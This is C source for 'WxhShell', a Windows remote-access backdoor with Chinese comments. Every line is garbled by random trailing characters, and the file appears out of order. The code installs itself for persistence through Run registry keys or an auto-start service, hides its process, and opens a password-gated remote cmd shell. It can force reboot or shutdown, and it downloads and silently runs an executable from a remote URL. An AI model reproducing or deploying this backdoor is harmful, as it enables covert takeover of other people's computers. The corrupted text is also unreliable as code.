    ExitThread(0); a20w.6F  
    } ':4<[Vk  
    break; >j=ZB3yZ  
    } U7g`R@  
  // 关机 $#h U_vr  
  case 'd': { E'f7=ChNF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oDA'$]UL  
    if(Boot(SHUTDOWN)) qIZ+%ZOu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lubsLI  
    else { Z {^!z  
    closesocket(wsh); s9wzN6re  
    ExitThread(0);  BjH|E@z  
    } 7T)y"PZ  
    break; #'&-S@/nQs  
    } CB#2XS>V  
  // 获取shell ^&YtZjV  
  case 's': { K:U=Y$x  
    CmdShell(wsh); b;QgL_w  
    closesocket(wsh); ' bl9fO4v  
    ExitThread(0); oT{9P?K8  
    break; u* pQVU  
  } eQ[akVMk  
  // 退出 -KGJr  
  case 'x': { 0BC @wV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oYw?kxRZ  
    CloseIt(wsh); R1LirZlzJ  
    break; y ~  K8  
    } 0OHXg=  
  // 离开 jo"nK,r  
  case 'q': { $=plAi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3~P$p<  
    closesocket(wsh); g&g:H H :  
    WSACleanup(); RDbNC v#  
    exit(1); _E?tVx.6  
    break; nr]=O`Mvh  
        } y05!-G:Y\  
  } %_Vz0 D! 7  
  } [s^p P2  
IMD^(k 2  
  // 提示信息 hFA |(l6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 961&rR}d  
} zRjbEL  
  } {1)bLG|$  
V Dnrm*  
  return; w~B1TfqNo  
} ?/&X _O  
8 siP  
// shell模块句柄 [ 6VM4l"  
int CmdShell(SOCKET sock) )2).kL>  
{ ??nT[bhQ  
STARTUPINFO si; _]*[TGap  
ZeroMemory(&si,sizeof(si)); Mt4]\pMUb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HCOsVTl,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =~O3j:<6  
PROCESS_INFORMATION ProcessInfo; n/;{-  
char cmdline[]="cmd"; my sXgS&S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8x1!15Wiz  
  return 0; &pI\VIx ?  
} 9mvy+XD  
jW#dUKS(  
// 自身启动模式 i%133in  
int StartFromService(void) Tr;.%/4Q  
{ "-S!^h/v  
typedef struct h:Gs9]Lvtv  
{ =&pR=vl  
  DWORD ExitStatus; x}a?B  
  DWORD PebBaseAddress; GThGV"  
  DWORD AffinityMask; ,zZH>P  
  DWORD BasePriority; waC i9  
  ULONG UniqueProcessId; Q% aF~  
  ULONG InheritedFromUniqueProcessId; A&1EOQ=N  
}   PROCESS_BASIC_INFORMATION; a)2l9  
1W*Qc_5 v1  
PROCNTQSIP NtQueryInformationProcess; [5xm>Y&}  
Lb$Uba-_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O8hx}dOjA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }%w;@[@L  
K_U`T;Z\  
  HANDLE             hProcess; ZOqA8#\  
  PROCESS_BASIC_INFORMATION pbi; 27gHgz}}  
0*:n<T9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h(q4 B~  
  if(NULL == hInst ) return 0; lg-`zV3  
%+/v")8+?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1<x5{/CZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  e#5WX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j\KOKvY)  
iU.` TqR7  
  if (!NtQueryInformationProcess) return 0; EM<W+YU  
?z)2\D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j*8Ze!^  
  if(!hProcess) return 0; %zc.b  
XKp(31])  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 br>{^T  
KX x+J}n  
  CloseHandle(hProcess); 8u[.s`^  
71Q`B#t0'Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mn1!A`$  
if(hProcess==NULL) return 0; t`&mszd~T  
s7E %Et  
HMODULE hMod; si%V63^lN  
char procName[255];  `&a8Wv  
unsigned long cbNeeded; Q >yj<DR  
m?Jnb\0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =WCE "X  
z1RHdu0;z  
  CloseHandle(hProcess); )e[q% %ks  
Wsd_RT}ww  
if(strstr(procName,"services")) return 1; // 以服务启动 ,f>^ q"  
?>=vKU5  
  return 0; // 注册表启动 lKQjG+YF  
} LVP6vs  
tvJl-&'N  
// 主模块 #\F8(lZ  
int StartWxhshell(LPSTR lpCmdLine) 9[{q5  
{ F9w2+z.  
  SOCKET wsl; kdA]gpdw  
BOOL val=TRUE; Z^F>sUMR  
  int port=0; tm34Z''.>  
  struct sockaddr_in door; mFpj@=^_G  
Yo5ged]i  
  if(wscfg.ws_autoins) Install(); S]ndnxy"b  
|L;Hd.l7^*  
port=atoi(lpCmdLine); k?pNmKVJM  
][z!};  
if(port<=0) port=wscfg.ws_port; |a1zJ_t4  
bMqS:+  
  WSADATA data; (s1iYK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oPAc6ObOV~  
y}QqS/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dg N #"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <+ <o X"I  
  door.sin_family = AF_INET; %AgCE"!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ojWf]$^y}  
  door.sin_port = htons(port); ^*NOG\BK@  
A?ESjMy(R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^SUo-N''  
closesocket(wsl); <p_2&& ?  
return 1; |<YF.7r;  
} Q>=/u-  
48GaZ@v  
  if(listen(wsl,2) == INVALID_SOCKET) { usugjx^p  
closesocket(wsl); H'2o84$  
return 1;  9mv6  
} TTxSl p2=;  
  Wxhshell(wsl); 3z 5"Ckzb  
  WSACleanup(); +I~U8v-  
s;[64ca]Q  
return 0; Q!fk|D+j  
HBa6Y&)<  
} G)5Uiu:^X  
/X\:3P  
// 以NT服务方式启动 H,fVF837  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8/9YR(H3H  
{ Yj>\WH  
DWORD   status = 0; toox`|  
  DWORD   specificError = 0xfffffff; Im`R2_(]  
~r]$(V n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >&qaT*_g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (n{!~'3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /P{'nI  
  serviceStatus.dwWin32ExitCode     = 0; 0pe*DbYP5  
  serviceStatus.dwServiceSpecificExitCode = 0; 3t] 0  
  serviceStatus.dwCheckPoint       = 0; SMm$4h R  
  serviceStatus.dwWaitHint       = 0; oW/H8q<wY  
6nk.q|n:g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OdJ=4 x>  
  if (hServiceStatusHandle==0) return; DV bY   
,Hc,]TPC4  
status = GetLastError(); ?7*J4.  
  if (status!=NO_ERROR) -uK@2} NZ  
{ |SsmVW$B|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C Yk"  
    serviceStatus.dwCheckPoint       = 0; ?rwHkPJ{*  
    serviceStatus.dwWaitHint       = 0; #fe zUU  
    serviceStatus.dwWin32ExitCode     = status; u z>V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1w?DSHe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i ;YRE&X  
    return; ]O68~+6  
  } 62xAS#\K>  
nqujT8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3rv~r0  
  serviceStatus.dwCheckPoint       = 0; <d hBO  
  serviceStatus.dwWaitHint       = 0; `XwKCI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +?[iB"F  
} 5NYYrA8,^  
cA B^]j  
// 处理NT服务事件,比如:启动、停止 ZP7wS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oo,3mat2C  
{ (<5&<JC{  
switch(fdwControl) 0bMbM^xV6  
{ T+<OlXpL  
case SERVICE_CONTROL_STOP: kv3V|  
  serviceStatus.dwWin32ExitCode = 0; &uv7`VT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >:U{o!N`#_  
  serviceStatus.dwCheckPoint   = 0; Nxt z1  
  serviceStatus.dwWaitHint     = 0; W#[3a4%m  
  { Fm.IRu<\`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z|Xv_Xo|4  
  } `lq[6[n  
  return; yNmzRH u  
case SERVICE_CONTROL_PAUSE: vn=0=(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @$d_JwI  
  break; c:z<8#A}  
case SERVICE_CONTROL_CONTINUE: q0]Z` <w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8U&93$  
  break; `wLa.Gzj  
case SERVICE_CONTROL_INTERROGATE: J|I&{  
  break; e;)&Hc:Z  
}; EY 9N{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,1-#Z"~c  
} SSI('6Z/  
#kDJ>r |&-  
// 标准应用程序主函数 ,!g%`@u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <)9E.h  
{ ?f[U8S}  
nHi6$ } I  
// 获取操作系统版本 Ej64^*  
OsIsNt=GetOsVer(); *+'l|VaVq\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VYN1^Tp  
lvZ:Aw r  
  // 从命令行安装 Ni 5Su  
  if(strpbrk(lpCmdLine,"iI")) Install(); L%O( I  
'@+a]kCMev  
  // 下载执行文件 d#G H4+C  
if(wscfg.ws_downexe) { o8lwwM*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #AUz.WHD  
  WinExec(wscfg.ws_filenam,SW_HIDE); .EQ1r7 9,  
} k%?A=h  
eMC0 )B  
if(!OsIsNt) { _-g?6q  
// 如果时win9x,隐藏进程并且设置为注册表启动 @=1kr ^i  
HideProc(); 9gokTFoN  
StartWxhshell(lpCmdLine); -{XXU)Z  
} ' fm}&0  
else .FXn=4l'vV  
  if(StartFromService()) zmMz6\ $  
  // 以服务方式启动 C %o^AR  
  StartServiceCtrlDispatcher(DispatchTable); gkyv[  
else V|8`]QW@  
  // 普通方式启动 {$mj9?n=v  
  StartWxhshell(lpCmdLine); i.`RQZ$,/  
SLG3u;Ab  
return 0; D#,P-0+%  
} l6EDl0~r  
+p:@,_  
p94 w0_m@|  
>Kc>=^=5  
=========================================== K+_$ WT_  
O.8{c;  
7EAkY`Op  
;ywQk| r  
7o]p0iLej  
Eo }mSd  
" xc+h Fx  
F$Q@UVA  
#include <stdio.h> *Q8d &$ ^  
#include <string.h> &ii3Vlyzg  
#include <windows.h> :2fz4n0{/  
#include <winsock2.h> D 4\T`j:  
#include <winsvc.h> h[O!kwE  
#include <urlmon.h> <2a7>\74E0  
Vi~F Q  
#pragma comment (lib, "Ws2_32.lib") Y "& c .  
#pragma comment (lib, "urlmon.lib") c*g(R.!  
]+B#SIC;  
#define MAX_USER   100 // 最大客户端连接数 V0h  
#define BUF_SOCK   200 // sock buffer &v^LxLt+s  
#define KEY_BUFF   255 // 输入 buffer 5b9>a5j1;  
)'RLK4l  
#define REBOOT     0   // 重启 zF[>K4  
#define SHUTDOWN   1   // 关机 zV }-_u.  
An e.sS  
#define DEF_PORT   5000 // 监听端口 i+V4_`  
3wBc`vJ!  
#define REG_LEN     16   // 注册表键长度 sc! e$@U  
#define SVC_LEN     80   // NT服务名长度 v* nX  
E30VKh |  
// 从dll定义API J !:ss  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v?7.)2XcX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f&S,l3H<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h.6yI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WlnI`!)d  
*zy0,{bl  
// wxhshell配置信息 dB`YvKr#  
struct WSCFG { P==rY5+s`  
  int ws_port;         // 监听端口 l }?'U  
  char ws_passstr[REG_LEN]; // 口令 UUx0#D/U0C  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,z?Re)q m  
  char ws_regname[REG_LEN]; // 注册表键名 #n'tpp~O  
  char ws_svcname[REG_LEN]; // 服务名 \DE`tkV8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j_?U6$xi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v |XEC[F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #isBE}sT{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * SG0-_S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7ST[XLwt%}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TCSm#?[B  
m(Cn'@i`"0  
}; ?hS n)  
m#'2 3  
// default Wxhshell configuration W)F2X0D>  
struct WSCFG wscfg={DEF_PORT, Vl!Z|}z  
    "xuhuanlingzhe", ~mtL\!vaM  
    1, xcz1(R  
    "Wxhshell", Mp ~E $f  
    "Wxhshell", R4"g? e  
            "WxhShell Service", 1e;^Mz B"  
    "Wrsky Windows CmdShell Service", l|fOi A*K  
    "Please Input Your Password: ", /._wXH  
  1, ~<pGiW'w5  
  "http://www.wrsky.com/wxhshell.exe", 1X/ q7lR  
  "Wxhshell.exe" 9 z,?DBMvc  
    }; <dzE5]%\  
C,w$)x5kls  
// 消息定义模块 ztG_::QtG]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DB yRP-TH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +>oVc\$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B_[^<2_  
char *msg_ws_ext="\n\rExit."; 'Z-jj2t}  
char *msg_ws_end="\n\rQuit."; G1Cn[F;e  
char *msg_ws_boot="\n\rReboot..."; }0T1* .Cz  
char *msg_ws_poff="\n\rShutdown..."; i+&*W{Re  
char *msg_ws_down="\n\rSave to "; "6n~, $  
Pb.-Z@  
char *msg_ws_err="\n\rErr!"; //W<\  
char *msg_ws_ok="\n\rOK!"; (i7]N[  
0 )#5_-%  
char ExeFile[MAX_PATH]; itM6S$  
int nUser = 0; [t /hjm"$  
HANDLE handles[MAX_USER]; g[j"]~  
int OsIsNt; <Ja>  
,k/*f+t  
SERVICE_STATUS       serviceStatus; !h2ZrT9 _  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #zXkg[J6d  
vcAs!ls+  
// 函数声明 k@AOE0m  
int Install(void); R\+p`n$  
int Uninstall(void); Nl7"|()e  
int DownloadFile(char *sURL, SOCKET wsh); Fk>/  
int Boot(int flag); K.] *:fd  
void HideProc(void); O~B iqm  
int GetOsVer(void); 8@qYzSx[  
int Wxhshell(SOCKET wsl); 8J%^gy>m]  
void TalkWithClient(void *cs); ;t@zH+*}  
int CmdShell(SOCKET sock); . #;ZM[v  
int StartFromService(void); @Q3aJ98)2  
int StartWxhshell(LPSTR lpCmdLine); g^1M]1.f  
j ij:}.d6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &@A(8(%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dapQ5JT/  
{y'c*NS  
// 数据结构和表定义 y1/$dn  
SERVICE_TABLE_ENTRY DispatchTable[] = A[Juv]X  
{ p,@_A'  
{wscfg.ws_svcname, NTServiceMain}, u Y/Q]N T  
{NULL, NULL} &`<j!xlG  
}; 8(D>ws$  
y`=A$>A  
// 自我安装 yjpV71!M  
int Install(void) ?K{CjwE.M  
{ ycRy! 0l  
  char svExeFile[MAX_PATH]; dV8mI,h  
  HKEY key; qr(SAIX"  
  strcpy(svExeFile,ExeFile); <O>r e3s  
Se* GR"Z+  
// 如果是win9x系统,修改注册表设为自启动 sW#6B+5_k  
if(!OsIsNt) { 5FnWlFc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z:|4S@9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .wx; !9  
  RegCloseKey(key); zO2Z\E'% .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v?)JM+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bQb> S<PT  
  RegCloseKey(key); N9Yc\?_NU_  
  return 0; JMpjiB,A}  
    } +%8c8]2  
  } $)mE"4FE  
} 8\`]T%h  
else { Z6X?M&-Lz  
veAGUE %3  
// 如果是NT以上系统,安装为系统服务 5Y"lr Y38  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *\I?gDON  
if (schSCManager!=0) myFj w@  
{ Z= dEk`  
  SC_HANDLE schService = CreateService Txfu%'2)e  
  ( ZyT9y  
  schSCManager, m ,)4k&d  
  wscfg.ws_svcname, "kz``6C  
  wscfg.ws_svcdisp, E:(flW=  
  SERVICE_ALL_ACCESS, W sQo+Ua  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0eQyzn*98  
  SERVICE_AUTO_START, rcPP-+XW  
  SERVICE_ERROR_NORMAL, W{At3Bfy  
  svExeFile, [(w _!|S  
  NULL, 1Qtojph  
  NULL, &n6mXFF#>P  
  NULL, V(A6>0s$|  
  NULL, 7<oLe3fbM  
  NULL a [iC!F2  
  );  Jt.dR6,  
  if (schService!=0) q*\ #H C  
  { )Rn}4)9!iT  
  CloseServiceHandle(schService); Ja| ! fT  
  CloseServiceHandle(schSCManager); x,STt{I=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C 6ZM#}I$l  
  strcat(svExeFile,wscfg.ws_svcname); SY["dcx+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .:*V CDOM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nfq  
  RegCloseKey(key); A}FEM[2  
  return 0; ^* ^te+N  
    } {%'(IJ|5z  
  } ]YQlCx`  
  CloseServiceHandle(schSCManager); r Ka7[/  
} x1]^].#Eo  
} cV_nYcLkz  
C#`eN{%.YT  
return 1; uR|Jn)/m(  
} ync2X{9D  
zJOjc/\  
// 自我卸载 G7DEavtr  
int Uninstall(void) 9;k_"@A6  
{ l!<Nw8+U  
  HKEY key; E#`=xg  
{^1GHU  
if(!OsIsNt) { \Q|1I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bl2y~fCA  
  RegDeleteValue(key,wscfg.ws_regname); 5. 5  
  RegCloseKey(key); @>_`g=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h)"PPI  
  RegDeleteValue(key,wscfg.ws_regname); @H"~/m_o  
  RegCloseKey(key); b!J21cg<L  
  return 0; 0"(5\T  
  } G)';ucs:,  
} <YP>c  
} scCOiK)  
else { r;t0+aLc*  
3gaijVN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xN:ih*+,v  
if (schSCManager!=0) DKAqQ?fS  
{ "D'A7DA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K3$83%E  
  if (schService!=0) z*.4Y  
  { OWx YV$  
  if(DeleteService(schService)!=0) { E'?yI' ~=  
  CloseServiceHandle(schService); (GJ)FWen0"  
  CloseServiceHandle(schSCManager); wbshKkUh_*  
  return 0; AqZ{x9g!  
  } 3XYCtp8  
  CloseServiceHandle(schService); Ra}%:  
  } \C5YVl#  
  CloseServiceHandle(schSCManager); k)UF.=$d  
} k, &*d4  
} rP>iPDf  
5m!FtHvm1  
return 1; v}!eJzeH  
} >t&Frw/Bl  
`$\g8Mo  
// 从指定url下载文件 \Y_2Z /  
int DownloadFile(char *sURL, SOCKET wsh) FN NEh  
{ 1@6dHFA`o  
  HRESULT hr; UB }n=  
char seps[]= "/"; v=EV5#A  
char *token; 0'wB':v  
char *file; 8bLA6qmM\  
char myURL[MAX_PATH]; cu5Yvp  
char myFILE[MAX_PATH]; "jH=O(37  
OW- [#r  
strcpy(myURL,sURL); 1-r# v  
  token=strtok(myURL,seps); L!Iu\_{q  
  while(token!=NULL) .p  NWd  
  { Fd*)1FQKT  
    file=token; 0tv"tA;  
  token=strtok(NULL,seps); j-8v$ 0'  
  } >KmOTM< {  
97lM*7h;  
GetCurrentDirectory(MAX_PATH,myFILE); 8Eyi`~cAiH  
strcat(myFILE, "\\"); T$5u+4>"  
strcat(myFILE, file); y Q-&+16^  
  send(wsh,myFILE,strlen(myFILE),0); /_5I}{  
send(wsh,"...",3,0); @,F8gv*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fq>=0 )  
  if(hr==S_OK) R5c Ya  
return 0; 47.c  
else GoP,_sd\O  
return 1; ,)e&u1'  
&Ed7|k]H  
} _fx0-S*$  
Kq e,p{=  
// 系统电源模块 r!N)pt<g  
int Boot(int flag) &^3KF0\Q  
{ o^hI\9  
  HANDLE hToken; REUWK#>  
  TOKEN_PRIVILEGES tkp; h@}KBK  
{"$ Q'T  
  if(OsIsNt) { y! he<4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r|wB& PGW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q?-HU,RBO  
    tkp.PrivilegeCount = 1; y|f`sBMM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aG.j0`)%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7p%W)=v  
if(flag==REBOOT) { k nrR%e;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LW<DhMV  
  return 0; 7 ^7Rk  
} g+;)?N*j  
else { 7\m.xWX e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sVtx h]  
  return 0; <`,pyvR Kv  
} 4A^=4"BCV  
  } !Z[dK{ f"  
  else { V9[-# Ti  
if(flag==REBOOT) { k>y68_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =r=[e}&9  
  return 0; Pz#D9.D0  
} eSo/1D  
else { c6FKpdn%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "~j SG7h  
  return 0; 0`.3`Mk   
} F4'g}y OLd  
} v'nM=  
]H<5]({F  
return 1; &$F4/2|b%  
} `##qf@M  
iU3)4(R  
// win9x进程隐藏模块 T&Z%=L_Q  
void HideProc(void) D-\WS^#  
{ /+2;".  
'zCJK~x`x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v$c*3H.seM  
  if ( hKernel != NULL ) ,CqJ ((  
  { qOy3D~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^*.S7.;2o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9s\(yC8h  
    FreeLibrary(hKernel); V\Oe] w  
  } ^%l~|w  
0!X;C!v;  
return; Y2709LWmP  
} i bA Z*I  
Ncr38~;w  
// 获取操作系统版本 ;d$PQi  
int GetOsVer(void) *fyC@fI>  
{ ^DVj_&~  
  OSVERSIONINFO winfo; d'ddxT$GG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (qd$wv^ h  
  GetVersionEx(&winfo); [=M0%"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F[PIo7?K  
  return 1; [<SM*fQ>t  
  else 6v~` jS%3  
  return 0; y,&.<Yc  
} pW ]+a0j  
P \<dy?nZ  
// 客户端句柄模块 N2:};a[ui5  
int Wxhshell(SOCKET wsl) `L p3snS  
{ ^.bYLF  
  SOCKET wsh; Zwy8 SD'L  
  struct sockaddr_in client; Sh'>5z2  
  DWORD myID; rmpx8C Y"  
hz#S b~g  
  while(nUser<MAX_USER) lU]/nKyd  
{ %gj's-!!  
  int nSize=sizeof(client); (2J_Y*N~>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n';"c;Ye)  
  if(wsh==INVALID_SOCKET) return 1; -L e:%q2  
3=o^Vv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !z@QoD  
if(handles[nUser]==0) =f'MiU!p6  
  closesocket(wsh); *zoAD|0N  
else Fx#0 :p  
  nUser++; )=VSERs  
  } K..L8#SC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )o!y7MTl  
0{ M=^96  
  return 0; ;\(Wz5Ok&J  
} 0CXh|AU  
p\lS ) 9  
// 关闭 socket S%KY%hUt  
void CloseIt(SOCKET wsh) *p!K9$4  
{ bz!9\D|h  
closesocket(wsh); hKq <e%oVH  
nUser--; W\09h Z6  
ExitThread(0); r~q*E'n  
} s+Qm/ h2  
Mazjn?f  
// 客户端请求句柄 9L3#aE]C  
void TalkWithClient(void *cs) i8R.Wl$l  
{ 8joJ e>9VJ  
+ $i-"^  
  SOCKET wsh=(SOCKET)cs; ;)Rvk&J5  
  char pwd[SVC_LEN]; |k5uVhN  
  char cmd[KEY_BUFF]; d{_tOj$  
char chr[1]; Oi{X \Y  
int i,j; y Q\K;  
{l&6= z  
  while (nUser < MAX_USER) { ,EPs>#d  
sO7$b@"u.  
if(wscfg.ws_passstr) { @91Q=S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #6g-{OBv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :`BZ,j_  
  //ZeroMemory(pwd,KEY_BUFF); 7{=<_  
      i=0; Kj[X1X5  
  while(i<SVC_LEN) { &.k'Dj2hf  
|~mq+:44+  
  // 设置超时 I#(D.\P  
  fd_set FdRead; }W&hPC  
  struct timeval TimeOut; S.o 9AUv9  
  FD_ZERO(&FdRead); v=Ep  
  FD_SET(wsh,&FdRead); _%WJ7~>  
  TimeOut.tv_sec=8; v5"5UPi-  
  TimeOut.tv_usec=0; X\3IY:Q@T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  _Y@'<S.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PAF2=  
1_vaSEov  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KobNi#O+  
  pwd=chr[0]; f(q^R  
  if(chr[0]==0xd || chr[0]==0xa) { ) *:<3g!  
  pwd=0; =\s(v-8  
  break; $-""=O|"   
  } ~7PPB|XY  
  i++; KA:>7-  
    } #5HJW[9  
5A]IiX4Z  
  // 如果是非法用户,关闭 socket Zf;1U98oC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1G/bqIMg63  
} Ve>*KHDSt  
S3nA}1R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =L~,HS(l,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @]lKQZ^2&  
.E:QZH'M  
while(1) { ?! dp0<  
@Tmqw(n{  
  ZeroMemory(cmd,KEY_BUFF); ` c~:3^?9d  
*LJN2;  
      // 自动支持客户端 telnet标准   BBw]>*  
  j=0; 'qBg^c  
  while(j<KEY_BUFF) { :HhLc'1Jw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oD_'8G}  
  cmd[j]=chr[0]; eN]0]9JO  
  if(chr[0]==0xa || chr[0]==0xd) { DmAMr=p  
  cmd[j]=0; *,1^{mb  
  break; #p~tkQ:'1  
  } yI\  
  j++; yBO88rfh>  
    } A S;ra,x  
q[]EVs0$ew  
  // 下载文件 (1\!6  
  if(strstr(cmd,"http://")) { kK!An!9C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u>: sXm  
  if(DownloadFile(cmd,wsh)) #tG/{R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~abn7_  
  else |x3&#(Tf  
